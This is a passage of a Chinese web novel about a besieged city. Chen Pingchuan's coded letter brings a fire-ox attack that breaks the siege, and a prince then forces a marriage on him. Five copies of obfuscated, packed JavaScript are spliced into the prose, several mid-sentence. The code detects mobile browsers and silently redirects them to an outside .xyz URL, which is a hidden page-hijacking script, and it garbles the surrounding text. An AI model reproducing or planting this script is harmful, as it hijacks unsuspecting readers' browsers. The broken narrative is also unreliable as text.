包围圈,出现了一个短暂的缺口。 “快走啊!” 护卫撕心裂肺的吼声,在张金宝耳边回响。 张金宝的眼泪,刷地一下就流了出来。 他知道,这两位只相处了不到一个时辰的护卫大哥,是在用他们的命,给自己换取突围的机会。 他含着泪,将所有的悲愤和感激,都化作力量,拼了命地朝着那唯一的缺口,狂奔而去。 一支冷箭,从黑暗中射来,噗嗤一声,扎进了他的左肩。 剧痛传来,他一个踉跄,险些摔倒。 但凭着一股冲劲,张金宝硬是稳住了身形,头也不回地冲进了前方茫茫的夜色之中。 …… 两名王府护卫,力战之后,终因寡不敌众,被活捉了。 他们被押送到了贾青的面前。 贾青看着两个浑身是伤,却依旧昂首挺胸的汉子,眼神里闪过一丝赞许。 “是条汉子!说吧,陈平川派你们出来,是不是求援?” 两人只是冷笑,啐了一口血沫,一言不发。 士兵从他们身上,搜出了那封密信,呈给贾青。 贾青接过信纸,看着上面鬼画符一般的点点横横,眉头紧紧地锁了起来。 “这是什么?” 无人回答。 “用刑!” 烙铁、鞭子、夹棍…… 酷刑用尽,两人被折磨得不成人形,却始终只是冷笑,没有吐露半个字。 贾青挥了挥手,让人将他们拖了下去。 他独自一人,在灯下,久久地凝视着那张信纸。 一个被围困在死城里的人,派了三个人,冒着必死的风险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059140|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是为了送出这样一封毫无意义的涂鸦? 这不合常理。 除非…… 贾青的瞳孔骤然一缩。 他想到了什么。 “这不是文字……” 他的手指,轻轻划过那些点和横。 “也不是涂鸦……” 他站起身,在营帐中来回踱步,脑中灵光一闪。 “这是暗语!” 当这两个字从他口中吐出时,他自己都吓了一跳。 他再次看向那张信纸,眼神变得无比复杂。 “陈平川啊陈平川,你都已经陷入死境了,竟然还有这么多花招!” “我倒要看看,你这暗语里,到底藏着什么惊天秘密!” **,就在他苦思冥想的时候,第三个信使,正拖着一条受伤的手臂,在荒山野岭中,艰难地跋涉着。 三日后。 一个衣衫褴褛、浑身是血的年轻人,终于踉踉跄跄地走到了黑风寨的山门前。 他看着那高大的寨门,和飘扬的“凤”字大旗,紧绷的神经终于松懈下来。 “信……信……” 他从怀中掏出那封被鲜血浸透的信,刚说出两个字,便眼前一黑,一头栽倒在地,昏**过去。 “快来人啊!有人晕倒在山门外了!” 黑风寨的喽啰,发现了昏迷不醒的张金宝,立刻将他抬进了山寨。 消息很快传到了聚义厅。 凤三娘和铁牛等一众头领,一听有人昏倒在山门,还是个生面孔,立即赶了过来。 “这小子,咋看着这么眼熟?” 铁牛盯着张金宝满是鲜血与汗水的胖脸,嘀咕道。 “这位好像是军师上次带来的朋友!” 哑巴叔用手比划着,凤三娘也觉得像。 “大当家的!二当家的!那人身上,有这个!” 喽啰双手捧着一封被血染得发黑的信,呈了上来。 凤三娘接过信,当她看清信封上那熟悉的、用特殊墨水画下的小小标记时,她那张一直冰冷如霜的俏脸,瞬间变了颜色。 这是她和陈平川约定的紧急信号! “是他的人!” 凤三娘声音里带着一丝颤抖。 “马上给他疗伤!不惜一切代价,把他救活!” 说完,她拿着信,快步走向后堂,留下聚义厅里一头雾水的众头领。 “怎么回事?军师来信了?” “看大当家的样子,好像出大事了!” 第219章 不救人,先找牛,这是什么神仙计策? 凤三娘的房间里。 她走到床边,从床头一个暗格里,取出了一个精致的小木盒。 打开木盒,里面是一本薄薄的册子。 正是当初陈平川离开黑风寨时,留给她的密码本。 她紧紧抿着薄唇,小心翼翼地展开那封血迹斑斑的信纸。 对照着密码本,她开始一个符号一个符号地,艰难地进行破译。 房间里,只剩下她轻轻的呼吸声,和笔尖划过纸张的沙沙声。 时间一分一秒地过去。 当最后一个符号被破译出来后,凤三娘看着纸上那短短的一行字,眼中先是闪过一丝疑惑,随即是震惊,最后,化为了无与伦比的凝重。 她走出房间。 铁牛等一众头领,早已焦急地等候在门外。 “人怎么样了?” 凤三娘问道,哑巴叔比划:“已经看过了,伤势有点重,但性命暂时无忧。” “大当家的!军师到底说什么了?”铁牛急吼吼地问道,“是不是让我们去救他?兄弟们的刀,早就饥渴难耐了!你下令吧,我们现在就杀下山去!” “对!杀下山去!**那帮天公道的杂碎!”其他头领也跟着叫嚷起来,群情激奋。 凤三娘抬起手,制止了众人的喧哗。 她环视了一圈,目光从每一个头领的脸上扫过,然后,下达了一个让所有人都目瞪口呆的命令。 “传我命令!” “山寨所有弟兄,即刻起,分头下山,无论用买、用抢、用偷,我不管你们用什么方法!” “三日之内,给我凑齐一千头牛!” “……” 所有人都以为自己听错了。 铁牛掏了掏耳朵,瞪大了牛眼。 “大……大当家的,你刚才说啥?牛?一千头?” “对,牛!”凤三娘的回答,干脆利落。 “轰”的一声,人群炸开了锅。 铁牛第一个跳了起来,急得满脸通红。 “大当家的!你没发烧吧?!军师在城里等着我们去救命!你不让我们去**,让我们去找牛?!” “是啊,大当家的,这是什么道理?” “军师的信里,真是这么写的?” 众头领也是满脸不解,议论纷纷。 他们实在无法理解,在这火烧眉毛的关头,要一千头牛,到底有什么用。 凤三娘的俏脸,瞬间覆上了一层寒霜。 她那双凤目,冷冷地扫过每一个人。 “这是军师的计策!” 她的声音带着不容置疑的威严。 “你们可以不信我凤三娘,但你们不能不信军师!” “他什么时候,让我们失望过?” “现在,我只问一句,你们去是不去?!” 聚义厅里,再次安静了下来。 对“军师”两个字的信任,最终压倒了他们心中的疑惑。 “去!”铁牛第一个咬着牙,用力点头。 “我们听大当家的!”众人也纷纷表态。 “好!”凤三娘点了点头,“立刻去办!” …… 两天后,张金宝终于从昏迷中醒了过来。 他醒来的第一件事,就是挣扎着要去找凤三娘。 当他从别人口中,得知凤三娘下令不去救人,而是去满世界找牛的时候,他当场就急疯了,不顾伤口的疼痛,冲到了凤三娘的面前。 “凤三娘!你到底在搞什么鬼?!我大哥的信,你到底看没看懂?!”他嘶吼着,眼睛通红,“他快要**!还有城里几十万人也快要**!你怎么能……你怎么能在这个时候去弄那些没用的牛!” 凤三娘静静地看着他,没有生气。 她只是将那张已经破译出来的信纸,递到了张金宝的面前。 张金宝一把抢了过来,定睛看去。 只见纸上写着: “围城之危,需君相助。勿攻,集牛千头,备火油利刃。以‘天灯’为号,行火牛之计。” 张金宝愣住了。 火牛之计? 他虽然读书少,但也听过这个典故。 他瞬间明白了陈平川的整个计划。 一股巨大的震撼和敬佩,从心底涌起。 他张了张嘴,半天说不出一句话来,脸上只剩下羞愧。 “凤……大当家,是我错怪你了!” 就在这时,铁牛垂头丧气地从外面走了进来。 “大当家的……”他一脸沮丧,“我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059141|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我没完成任务。” “天公道那帮天杀的,把周围十里八乡的牛,要么征走了,要么老百姓自己藏起来了,我们想尽了办法,也只弄回来了……三百多头。” “三百头?”凤三娘皱了皱眉。 张金宝的心,又沉了下去。 三百头……数量差太多了。 凤三娘却抬头看了看天色,眼中闪过一丝决然的光芒。 “……不管了!” 她猛地转身,对着铁牛下令。 “传令下去!全军集结!备好牛角尖刀与火油!” “另外,把军师当初教我们做的‘天灯’全都带上!” “今晚,让天公道那群王八蛋,好好开开眼!” …… 夜,深沉如墨。 庐州城头,一片寂静。 连日的围困,加上日甚一日的饥饿,让守军的脸上,都蒙上了一层灰败之色。 豆芽虽然还能供应,但主粮的匮乏,已经让许多士兵饿得头晕眼花。 希望,正在一点点被消磨。 陈平川站在城楼上,一动不动,像一尊雕像。 他的目光,一直投向城外东北方向的黑暗深处,那是黑风寨的方向。 金宝,你一定要成功。 三娘,你一定要看懂。 他一遍又一遍地在心里祈祷着。 就在这时,他身边的李威,突然指着远方,发出一声惊呼。 “陈大人!快看!那是什么?!” 陈平川猛地抬眼望去。 只见在遥远的地平线上,数十个微弱的光点,正缓缓地,一个接一个地,升入漆黑的夜空。 那些光点,像一颗颗黯淡的星辰,在空中摇曳,却比真正的星辰更能点亮人心。 是孔明灯! 是约定的信号! 成功了!金宝成功了! 一股巨大的狂喜,瞬间冲垮了陈平川连日来所有的疲惫和焦虑。 他紧握的双拳,因为激动而微微颤抖。 他知道,决战的时刻,到了! 他猛地转身,对着身后的李威兴奋道。 “传我将令!开仓!放粮!让所有兄弟,都饱餐一顿!” “大家养精蓄锐,明晚,我们开城死战!!” 第220章 不是,你管这叫江湖把戏?! 天公道大营。 贾青自然也看到了那些缓缓升起的天灯。 他站在营帐外,皱着眉头,看了一会儿。 随即,他嗤笑一声,脸上充满了不屑。 “所以,你信里的暗语,就是放这些鬼东西出来?” 在他看来,这不过是陈平川的江湖把戏罢了。 像骗他,差远了! “装神弄鬼!” “传令下去,加强戒备,我倒要看看,他陈平川,还能玩出什么花样!” 他轻蔑地挥了挥手,转身回了营帐,继续研究他的兵法。 他根本没有将这小小的异象,放在心上。 次日,三更时分。 就在天公道大军防备最松懈的时候。 “咚咚咚!锵锵锵!” “杀啊——!” 震天动地的锣鼓声和喊杀声,突然从贾青大营的四面八方,同时响起! 无数黑影,在营地外围忽隐忽现,敲锣打鼓,四处放箭,袭扰哨兵。 正是凤三娘派出的黑风寨精锐小队。 他们人数虽少,却制造出了千军万马前来**的假象。 整个天公道大营,瞬间陷入了一片混乱。 “敌袭!敌袭!” “快!去南营!不!是西营!” 士兵们从睡梦中惊醒,没头苍蝇一样到处乱窜。 贾青被惊得冲出营帐,厉声呵斥,调兵遣将,试图稳住阵脚。 然而,这只是前奏。 真正的杀招,来自大营的正后方! “哞——!!!” 就在贾青将主力调往两翼的时候,一声声凄厉而狂暴的牛吼,撕裂了夜空。 大地,开始剧烈地颤抖。 贾青猛地回头望去,瞳孔瞬间收缩到了极致! 他看到了他这辈子,都无法忘记的,如同地狱一般的景象。 只见大营的正后方,三百多头巨大的公牛,正咆哮着,奔腾着,向他的军阵,发起了死亡冲锋! 这些牛的尾巴上,全都绑着浸满了油的稻草,被熊熊点燃。 烈火焚烧的剧痛,让它们彻底陷入了疯狂! 它们的牛角上,绑着两柄锋利无比的尖刀,在火光下,闪烁着森然的寒芒! 三百多头火牛,就是三百多个移动的、狂暴的杀戮机器! 它们组成了一股势不可当洪流,狠狠地撞向了天公道那看似坚固的军阵! “轰隆——!” 天公道的士兵,哪里见过这等骇人的阵仗! 所谓的盾牌阵、**阵,在这些体重超过千斤的狂牛面前,脆弱得就像纸糊的一样! 第一排的士兵,瞬间被撞得飞上了天,身体在半空中已经四分五裂! 后面的士兵,被发疯的火牛,活生生地踩成了肉泥! 牛角上的尖刀,每一次挥动,都能轻易地洞穿数人的身体! 哭喊声、惨叫声、骨骼碎裂声,响彻夜空。 军阵,瞬间崩溃! 就在贾青的军阵被撕开一个巨大缺口的同时。 “兄弟们!随我杀!” 一声清亮的娇喝响起! 凤三娘手持长剑,一马当先,率领着黑风寨最精锐的数百名悍匪,紧随在火牛阵之后,如同一柄利刃,沿着火牛冲开的那条血肉模糊的道路,狠狠地插入了敌军的心脏! 他们疯狂地收割着那些被火牛冲得七零八落、早已丧失斗志的敌人。 然而,这还不是结束! “咚!咚!咚!” 身后,庐州城的方向,传来了震天的战鼓声! “嘎吱——” 那扇紧闭了数十日的厚重城门,在无数人的欢呼声中,轰然大开! “将士们!随我杀!!” 李威身披战甲,振臂高呼,亲率着那支饱餐了一顿、养精蓄锐多日、憋着满腔怒火的庐州守军,如猛虎下山一般,从城内,冲杀而出! 内外夹击!腹背受敌! 贾青的军队,彻底陷入了绝境! 一边,是神出鬼没、凶悍无比的黑风寨悍匪。 另一边,是同仇敌忾、悍不畏死的庐州守军。 中间,还有那三百多头仍在横冲直撞、制造死亡的火牛! 指挥系统,完全失灵。 士兵们的斗志,彻底崩溃。 他们扔下兵器,开始四散奔逃。 整个战场,变成了一场单方面的**! 贾青的数十万大军,在火牛阵和两面夹击之下,抱头鼠窜,只恨爹娘少生了两条腿。 各级将领要么在混战中**,要么就混在乱兵之中,只顾着自己逃命。 所谓的“天公道义师”,在绝对的恐惧和死亡面前,露出了他们本来的面目——一群乌合之众。 贾青站在帅旗下,面如死灰地看着眼前这惨烈的一幕。 他看到,那个叫凤三娘的女人,一柄长剑使得出神入化,所到之处,人仰马翻,无人能挡其锋芒。 他更看到,那个他一心想要毁灭的男人——陈平川。 他站在城头,俯视地面上的尸山血海,云淡风轻。 贾青苦心经营的军队,他引以为傲的计谋,他那建立“天公王朝”的勃勃野心,在陈平川这惊世骇俗的智谋面前,被砸得粉碎。 “陈平川,你不是人!你是魔鬼!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061687|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>贾青望着庐州城头那面迎风飘扬的大业朝旗帜,失魂落魄地喃喃自语。 他心中那股不败的信念,被这一场大火,烧得干干净净。 他知道,自己输了。 此城,再也不可破! 这位“天公将军”,倒也光棍。 在意识到大势已去之后,他没有丝毫犹豫,在几名最忠心的亲兵的护卫下,毫不犹豫地拨转马头,趁着漫天的混乱,向着黑暗的深处,仓皇逃去。 …… 天亮时分,战斗终于结束了。 庐州城外的平原上,尸横遍野,血流成河。 天公道的大军,被歼灭上万,被俘者不计其数,其余的,早已作鸟兽散。 那道将庐州围困了近一个月的土墙,此刻看来,是那么的可笑。 庐州之围,就此告破! “我们赢了!我们赢了!” “胜利了!” 短暂的寂静之后,全城军民爆发出震耳欲聋的欢呼声。 无数人喜极而泣,相拥在一起。 那些疲惫不堪的士兵,更是将他们的主心骨——陈平川,高高地举起,抛向空中。 “忠勇侯威武!” “陈大人威武!” 欢呼声,响彻云霄。 在庐州府城头,陈平川与一身戎装、英姿飒爽的凤三娘并肩而立。 “你这家伙,还真敢想。”凤三娘用手肘捅了捅陈平川的胳膊。 “你这疯女人,还真敢做。”陈平川笑着回敬。 两人相视一笑,一切尽在不言中。 秦王带着一众官员,赶了过来。 他看着凤三娘,眼中满是欣赏和感激。 “凤寨主,此番义举,本王代表庐州数十万百姓,谢过了!” 说着,他便要行大礼。 凤三娘连忙将他扶住:“王爷客气了。我们是粗人,不懂什么大义,但,弟兄们也不能白流血……” 其实这些话,都是陈平川偷偷教她的。 秦王哪里听不明白?当即下令,送上大量的金银珠宝,作为对黑风寨的谢礼。 随后,他又一次诚恳地提出招安。 “凤寨主,以你的才能,屈居于山林之中,实在是可惜了。不如……” 凤三娘却摇了摇头,婉言谢绝了。 “王爷好意,三娘心领了。只是我那些弟兄,都是些野惯了的汉子,受不得官府的规矩。” 她对着众人抱了抱拳。 “王爷,军师,后会有期!” 说完,便率领着黑风寨的弟兄,带着丰厚的赏赐,在一片敬佩的目光中,潇洒地返回了黑风寨。 …… 第221章 图穷匕见!庆功宴秒变鸿门宴! 当晚,庐州府衙大摆庆功宴。 胜利的喜悦,让整个府衙都充满了欢声笑语。 酒过三巡,菜过五味。 秦王红光满面,端着酒杯,笑眯眯地走到了陈平川的面前。 “平川啊。”秦王亲**拍了拍他的肩膀,“此番庐州大捷,你当居首功!本王已经上奏朝廷,为你请功!相信用不了多久,你这忠勇侯的爵位,就能恢复了!” “多谢王爷。”陈平川连忙起身行礼,功名利禄,他早已不放在心上了。 秦王摆了摆手,脸上的笑容,变得有些……意味深长。 “平川啊,这庐州之围也解了,天公道也被你打跑了。” “你当初跟本王立下的那个誓言,是不是……也该兑现了?” 陈平川心里咯噔一下。 该来的,终究还是来了。 他故作不解地问道:“王爷,不知您说的是哪个誓言?” 秦王眼睛一瞪,笑骂道:“你小子,还跟本王装糊涂?” “当初是谁说的,‘天公道未破前,绝不成家’?” “现在天公道的主力,都被你打残了,剩下的不过是些残兵败将,覆灭是迟早的事。” 秦王清了清嗓子,声音不大,却足以让全场的人都听到。 “我那宝贝女儿昭华,可是在王府里,等了你许久了。” “本王看,是时候,该把你们的婚事,给办了!” 此话一出,整个庆功宴大厅瞬间安静下来,只剩下篝火燃烧时发出的噼啪声。 所有人的目光“唰”地一下,全都聚焦在了陈平川和秦王的身上。 陈平川脸上的笑容僵住了。 他心里暗道一声“不好”。 这老王爷,早不提晚不提,偏偏在这种大庭广众之下,当着庐州府所有文武官员的面提出来,这分明就是要把自己架在火上烤啊! 他当初为了拖延婚事,确实立下过“天公道一日不破,绝不成家”的誓言。 可那只是权宜之计,谁能想到秦王居然记得这么清楚,还专门挑这个时间点来将军。 看着秦王那张笑眯眯的脸,陈平川只觉得比面对千军万马还要头疼。 这要是答应了,家里那几位怎么办? 张静姝那个小辣椒不得把天都给掀了?张若素虽然温婉,但那份情义重如泰山,自己怎能辜负? 可要是不答应,那就是当众打秦王的脸,打皇家的脸! 陈平川脑子飞速旋转,脸上却不敢露出半点异样,依旧是一副恭敬中带着几分茫然的样子。 他拱手行礼,声音不大不小,正好让在场的人都能听见:“王爷,您这话……平川有些听不明白了。” “平川当初立誓,说的是天公道未被‘破’前,不成家。” “如今,我们只是打退了贾青的主力,解了庐州之围。但贾青本人尚在,天公道的余孽也遍布数州之地,他们一日不除,这天下就一日不得安宁。何谈成家?” “平川这点微末功劳,实在不敢居功自傲,更不敢因此就忘了当初的誓言。” “再者说,”陈平川话锋一转,“平川如今只是白身一个,忠勇侯的爵位尚未恢复。昭华郡主乃是金枝玉叶,身份何等尊贵?若此时谈论婚嫁,岂不是天大的委屈了郡主?平川万万不敢辱没郡主清誉,更不敢让王府蒙羞啊!” 这番话说得是有理有据,滴水不漏。 既强调了自己信守承诺,又把姿态放得极低,处处为秦王和郡主着想,可谓是给足了对方面子。 在场的官员们听了,纷纷点头,觉得陈平川此言甚是。 “陈大人言之有理啊!” “是啊,天公道之患未除,确实不是谈论儿女情长的时候。” “陈大人年纪轻轻,却有如此胸怀,先国后家,实乃我辈楷模!” 一时间,厅内响起一片赞誉之声,众人都以为秦王会就此作罢。 然而,秦王脸上的笑容却渐渐收敛了。 他一双眼睛直勾勾地盯着陈平川,那眼神,不再是刚才的和蔼可亲,而是变得锐利起来,仿佛要将陈平川的心思看个通透。 “好一个先国后家,好一个不敢辱没郡主。” 秦王冷笑一声,道:“陈平川,你当本王是三岁孩童吗?” “这些冠冕堂皇的话,你骗骗别人也就罢了,在本王面前,就收起你那套说辞吧!” 秦王猛地将手中的酒杯往桌上重重一顿,发出“砰”的一声巨响,吓得众人心头一颤。 “当初在王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063614|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本王与你商议婚事,你就百般推脱?” “如今,庐州大捷,你又拿这些话来敷衍本王!” 秦王越说越气,猛地站起身,指着陈平川的鼻子,声色俱厉地喝道:“陈平川!你一次又一次地拒绝,究竟是何用心?!” “你是不是觉得,你立下了不世之功,本王就奈何你不得了?” “还是说,你根本就瞧不上我秦王府,瞧不上我女儿昭华,瞧不上这皇家的身份?!” “王爷息怒!” “王爷息怒啊!” 庐州知府和一众官员吓得魂飞魄散,齐刷刷地跪了一地,连连磕头求情。 他们谁也没想到,秦王会发这么大的火。 这已经不是简单的逼婚了,这简直就是诛心之问! “瞧不上皇家”,这顶大帽子扣下来,谁也扛不住啊! 陈平川也是脸色一白,他知道,自己把秦王给惹**了。 这老王爷,平时看着开明和善,可骨子里终究是皇室宗亲,那份骄傲和威严是不容挑衅的。 自己三番两次地拒绝,确实是伤了他的面子。 “平川不敢!”陈平川也立刻施礼解释,“平川对王爷,对皇家敬重万分,绝无轻视之心!请王爷明察!” “哼!你还想拿这些话来搪塞本王吗?” 秦王怒极反笑,冷眼地看着他。 “本王也不跟你废话了。” “三日!” 秦王伸出三根手指。 “本王给你三日时间考虑。” “三日之后,你要么风风光光地迎娶昭华,做我秦王府的郡马。本王保你官复原职,爵位更胜从前,前途不可限量!” 秦王顿了顿,眼神中闪过一丝狠厉。 “要么……” 他一字一顿地说道: “本王,就亲手赐你一杯毒酒,全了你这‘先国后家’的忠义之名!” 说完,秦王猛地直起身,看也不看地上跪着的众人,一甩袖子,大步流星地走出了宴会大厅。 留下一屋子的人,面面相觑。 陈平川心里叹口气,他知道,秦王这次是来真的了。 这已经不是一道选择题,而是一道催命符。 要么娶,要么死。 没有第三条路可走。 第222章 天罗地网!要么当郡马,要么死! 秦王拂袖而去,留下满堂惊魂未定的官员和一颗重磅**。 庆功宴自然是不欢而散。 陈平川垂头丧气地回到家中,一路上,他脑子里乱成一团浆糊。 娶,还是不娶? 这是一个问题。 一个关乎性命,也关乎他内心坚守的问题。 推开院门,屋里还亮着灯。 母亲罗氏、父亲陈仲和、妹妹陈平玉,还有张若素,都还没睡,显然是在等他回来。 “哥,你回来啦!”陈平玉第一个迎了上来,看到陈平川脸色不对,关切地问道,“怎么了哥?是不是喝多了?脸色这么难看。” 陈平川勉强挤出一个比哭还难看的笑容,摇了摇头,没有说话,径直走到院子里的石凳上坐下,一言不发。 罗氏是何等精明的人,一看儿子的神情,就知道出事了。 “平川,到底怎么了?是不是庆功宴上出什么事了?”罗氏端了杯热茶过来,递到他手里。 陈仲和也皱着眉头,跟了过来:“是啊,儿啊,有啥事跟爹娘说,别一个人憋在心里。” 张若素也静静地站在一旁,美眸中写满了担忧。 陈平川捧着热茶,感受着家人的关怀,心中的烦躁却丝毫没有减退。 他深吸一口气,将秦王在宴会上逼婚,并下了三日最后通牒的事情,原原本本地说了一遍。 话音刚落,小小的院子里,瞬间炸开了锅。 “什么?!”陈平玉第一个跳了起来,小脸气得通红,“这秦王怎么能这样!我哥才刚帮他打退了敌人,保住了庐州城,他转头就用性命来逼我哥娶他女儿?天底下哪有这样的道理!” “这不是逼婚,这是逼命啊!”老实巴交的陈仲和也急得直跺脚,唉声叹气,“我就说,儿子太出息了不是好事,这下好了,招来横祸了!这可怎么办,这可怎么办啊!” 院子里一片愁云惨淡,唯独罗氏的反应与众不同。 她先是愣了一下,随即眼睛一亮,非但没有半点担忧,反而一拍大腿,脸上露出了喜色。 “哎哟!我说这是天大的好事啊!” 罗氏一把抢过陈平川手里的茶杯,放在石桌上,恨铁不成钢地戳着他的脑门。 “你这个死心眼的孩子!你犯什么傻啊你!” “那可是郡主!是秦王的亲女儿!金枝玉叶啊!你娶了她,就是郡马爷,一步登天!以后谁还敢欺负咱们家?你这忠勇侯的爵位不也马上就回来了吗?” “这么好的事,打着灯笼都找不着,你还推三阻四的,你脑子里装的是浆糊吗?” 罗氏越说越激动,仿佛已经看到了儿子当上郡马,陈家光宗耀祖的场面。 陈平川被自己老娘这番话给说得哭笑不得。 他知道母亲是典型的实用主义者,在她看来,能给家族带来实际好处的,就是天大的好事。 什么感情不感情的,在泼天的富贵面前,都不值一提。 “娘!”陈平川无奈地扶额,“这不是好不好的事,这事关我的终身大事,也关乎好几个人的幸福,哪能这么草率?” “有什么草率的?先成家后立业,不对,你这业已经立了,也该成家了!”罗氏振振有词,“我看那昭华郡主就不错,听说是庐州城有名的大美人,配你绰绰有余!” 陈平川叹了口气,知道跟老娘讲道理是讲不通的。 他只好抛出了一个最致命的问题。 他抬起头,目光扫过一旁的张若素,然后看着罗氏,问道:“娘,就算我愿意娶郡主。那我问你,静姝妹妹那边怎么办?” “静姝?”罗氏的笑容僵了一下。 “对,张静姝。”陈平川的声音沉了下来,“她是什么性子,您比我清楚。她为了我,能跟您软磨硬泡,也能在城里最危险的时候跑来帮忙。我若是娶了郡主,她能善罢甘休吗?” 罗氏的脸色变了,显然是想到了张静姝那股子泼辣劲儿。 陈平川没有停,继续说道:“还有若素姑娘……” 他的声音轻了下去,目光落在了那个一直沉默不语,却身形单薄的女子身上。 一瞬间,院子里所有人的目光,都集中到了张若素的身上。 张若素的脸色瞬间变得苍白如纸,她紧紧地咬着下唇,手指绞着衣角,惶然无措。 她没想到,陈平川会在这个时候,当着他家人的面,提到自己。 一股暖流和一股酸涩同时涌上心头。 罗氏看着张若素,心里也一阵难办。 对于这个才貌双全、又有救命之恩的姑娘,她心里是又喜欢又感激。 是啊,平川要是娶了郡主,静姝那边是个**烦,若素这里,又该如何安置? 罗氏心里的那点喜悦,顿时被这盆冷水浇了个透心凉。 就在这尴尬而沉重的气氛中,张若素却突然上前一步,对着罗氏和陈仲和,深深地福了一礼。 “伯父,伯母,平川能得郡主青睐,是他的福气,也是陈家的福气。若素……若素别无所求,也不求任何名分。” 她抬起头,那双清澈的眸子含着水光,却无比真诚地看着陈平川。 “只要……只要能让若素留下来,陪在公子身边,哪怕是做个端茶倒水的丫鬟,若素也心满意足了。” 此言一出,罗氏和陈仲和都愣住了。 他们没想到,这样一个出身名门、才情绝世的姑娘,竟然能卑微到这个地步。 只为了和陈平川在一起! 罗氏心里又是感动又是怜惜,一把拉住张若素的手,眼圈都红了:“好孩子,你这是说的什么话,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063669|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们陈家怎么能这么委屈你……” 院子里的气氛,再次陷入了僵局。 娶郡主,对不起张静姝和张若素。 不娶郡主,三天后就是死路一条。 “这也不行,那也不行,难道就真的没别的办法了吗?”陈仲和急得团团转。 就在全家一筹莫展之际,陈平玉突然眼睛一亮,想到了一个主意。 “有了!”她猛地一拍手,“哥,要不……你连夜逃走吧!” “逃?”众人都是一愣。 “对啊!”陈平玉越想越觉得这个主意可行,“秦王不是给了你三天时间吗?你就趁着这两天晚上,收拾好东西,偷偷溜出城去!找个没人认识的地方躲起来,等风头过去了再说!” “这……”陈仲和有些犹豫,“这能行吗?万一被抓住了……” “总比留在这里等死强啊!”罗氏也反应了过来,觉得女儿这个主意不错,“对!平川,你赶紧收拾东西!找辆马车,咱们今晚就走!” 一家人仿佛在绝境中抓到了一根救命稻草,立刻行动起来。 陈平川虽然觉得这法子有点不靠谱,但眼下似乎也没有更好的选择了。 跑路虽然丢人,但总比丢命强。 他回到房间,简单地收拾了一个小包袱,将一些银票和换洗衣物塞了进去。 夜深人静,万籁俱寂。 陈平川背着包袱,悄悄地推开房门,准备和早已等在院子里的家人汇合,然后从后门溜走。 然而,当他推开院门的那一刹那,整个人都僵住了。 只见院门口,不知何时,已经站满了身穿铠甲、手持长矛的士兵。 火把的光亮将整个陈家小院照得如同白昼。 为首一人,身材魁梧,面容刚毅,正是庐州城防指挥使,李威。 李威看到陈平川出来,脸上露出一丝歉意,他上前一步,对着陈平川一抱拳,声音低沉地说道: “陈公子,末将在此等候多时了。” “这是……秦王的意思吧?”陈平川的心沉到了谷底。 李威叹了口气,点了点头:“王爷有令,从即刻起,到三日之后,陈公子不得踏出府门半步!” 他顿了顿,语气里满是无奈。 “公子,王爷的脾气您也知道。您……就不要让末将为难了。” 说完,李威一挥手,身后的士兵立刻散开,将整个陈家大院围得水泄不通,连一只苍蝇都飞不出去。 看着门口那一道道冰冷的身影和一杆杆森然的兵器,罗氏和陈仲和等人也看到了外面的阵仗,吓得脸色惨白,最后一丝希望也破灭了。 陈平川回头望向家人,心里苦笑一声。 看来,秦王是早就料到他会跑路,提前就布下了天罗地网。 这下,真是插翅难飞了。 第223章 妹妹撕心裂肺,哥哥吹牛翻车 张家。 张盛财满身酒气地从庆功宴上回来,一进门就唉声叹气,一屁股坐在太师椅上,连喝了好几杯凉茶,才把那股酒劲儿压下去。 